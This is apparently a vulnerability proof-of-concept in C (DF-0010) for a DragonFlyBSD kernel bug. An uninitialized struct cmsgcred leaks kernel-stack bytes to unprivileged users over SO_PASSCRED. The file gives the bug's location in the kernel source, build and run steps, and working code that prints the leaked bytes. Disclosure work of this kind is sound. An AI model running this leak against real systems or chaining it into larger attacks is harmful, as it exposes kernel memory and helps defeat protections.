DF-0010 / leak_cmsgcred.c
/* * DF-0010 PoC - struct cmsgcred uninitialized stack leak via SO_PASSCRED. * * In uipc_send() (sys/kern/uipc_usrreq.c:680-700), when the AF_UNIX * SOCK_DGRAM receiver has SO_PASSCRED set and the sender did NOT include an * SCM_CREDS control message, the kernel synthesizes one from an * uninitialized on-stack struct cmsgcred cred (:683). sbcreatecontrol() * copies sizeof(cred) bytes of that stack garbage into the mbuf (:695), then * unp_internalize() only fills cmcred_pid/uid/euid/gid/ngroups and * groups[0..ngroups-1] (:1734-1744). The tail groups[ngroups..CMGROUP_MAX-1] * (up to 15*4 = 60 bytes) retain whatever was on the kernel stack and are * delivered verbatim to the receiver via recvmsg(). * * Self-reachable, unprivileged: socketpair(AF_UNIX, SOCK_DGRAM), set * SO_PASSCRED on one end, send plain data from the other, recvmsg -> the * cmsgcred control message leaks kernel-stack residue. * * Build (DragonFlyBSD): cc -o leak_cmsgcred leak_cmsgcred.c * Run as an UNPRIVILEGED user: ./leak_cmsgcred * * Expected (bug present): prints the trailing cmsgcred groups beyond * cmcred_ngroups; they vary across runs and are leaked kernel-stack bytes. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <stdio.h> #include <string.h> #include <stdint.h> int main(void) { int s[2], on = 1, i, j, leaked = 0; if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, s) != 0) { perror("socketpair"); return 1; } if (setsockopt(s[0], SOL_SOCKET, SO_PASSCRED, &on, sizeof(on)) != 0) { perror("setsockopt SO_PASSCRED"); return 1; } for (j = 0; j < 4; j++) { /* Send WITHOUT an SCM_CREDS control message. */ if (send(s[1], "x", 1, 0) != 1) { perror("send"); return 1; } char cbuf[CMSG_SPACE(sizeof(struct cmsgcred))]; char rb[16]; struct iovec io = { rb, sizeof(rb) }; struct msghdr mh; memset(&mh, 0, sizeof(mh)); memset(cbuf, 0x5a, sizeof(cbuf)); /* marker so we can see kernel bytes */ mh.msg_control = cbuf; mh.msg_controllen = sizeof(cbuf); mh.msg_iov = &io; mh.msg_iovlen = 1; if (recvmsg(s[0], &mh, 0) < 0) { perror("recvmsg"); return 1; } struct cmsghdr *cm = CMSG_FIRSTHDR(&mh); if (cm == NULL) { printf("sample %d: no cmsg\n", j); continue; } struct cmsgcred *c = (struct cmsgcred *)CMSG_DATA(cm); int ng = c->cmcred_ngroups; printf("sample %d: pid=%d uid=%d euid=%d gid=%d ngroups=%d\n", j, c->cmcred_pid, c->cmcred_uid, c->cmcred_euid, c->cmcred_gid, ng); if (ng < 0 || ng > 16) ng = 0; /* defensive */ printf(" filled groups [0..%d] = {", ng - 1); for (i = 0; i < ng; i++) printf(" %u", c->cmcred_groups[i]); printf(" }\n UNFILLED groups [%d..15] = {", ng); int sample_leak = 0; for (i = ng; i < 16; i++) { printf(" 0x%08x", c->cmcred_groups[i]); if (c->cmcred_groups[i] != 0 && c->cmcred_groups[i] != 0x5a5a5a5a) sample_leak = 1; } printf(" }\n"); if (sample_leak) leaked++; } printf("\nresult: %s\n", leaked ? "LEAK CONFIRMED (kernel-stack bytes in unfilled groups)" : "no residue this run"); return leaked ? 0 : 2; } |